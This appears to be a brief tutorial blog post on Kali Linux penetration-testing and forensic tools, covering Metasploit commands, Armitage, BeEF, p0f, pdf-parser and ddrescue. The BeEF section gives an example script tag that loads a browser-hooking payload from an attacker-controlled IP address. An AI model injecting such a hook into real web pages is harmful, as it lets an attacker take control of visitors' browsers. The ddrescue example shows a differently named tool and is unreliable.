Kali Linux is a powerful platform for penetration testing and digital forensics. This guide explores key exploitation tools like Metasploit, Armitage, and BeEF, as well as forensic tools such as p0f, pdf-parser, and ddrescue.
Exploitation Tools
Metasploit Framework
The Metasploit Framework, developed by Rapid7, is one of the most popular tools for penetration testing. Kali Linux includes the free Community Edition.
Key Commands:
msfupdate
- Update Metasploit to the latest version.search
- Find specific exploits.info
- Get details about a specific exploit module.
Armitage
Armitage is a GUI for Metasploit. It offers features like target visualization, exploit suggestions, and post-exploitation tools.
BeEF (Browser Exploitation Framework)
BeEF focuses on browser-based attacks. It allows penetration testers to exploit client-side vulnerabilities.
Example:
<script src="http://192.168.1.101:3000/hook.js"></script>
Forensic Tools
p0f
p0f identifies the operating system of a target host by analyzing captured packets without generating network traffic.
Command:
p0f -i eth0 -p -o outputfile
pdf-parser
pdf-parser is used to analyze PDF documents for embedded scripts and other suspicious elements.
Command:
pdf-parser -o 10 filepath
ddrescue
ddrescue is a data recovery tool that copies data from a damaged drive to a safe location.
Command:
dd_rescue infilepath outfilepath
0 Comments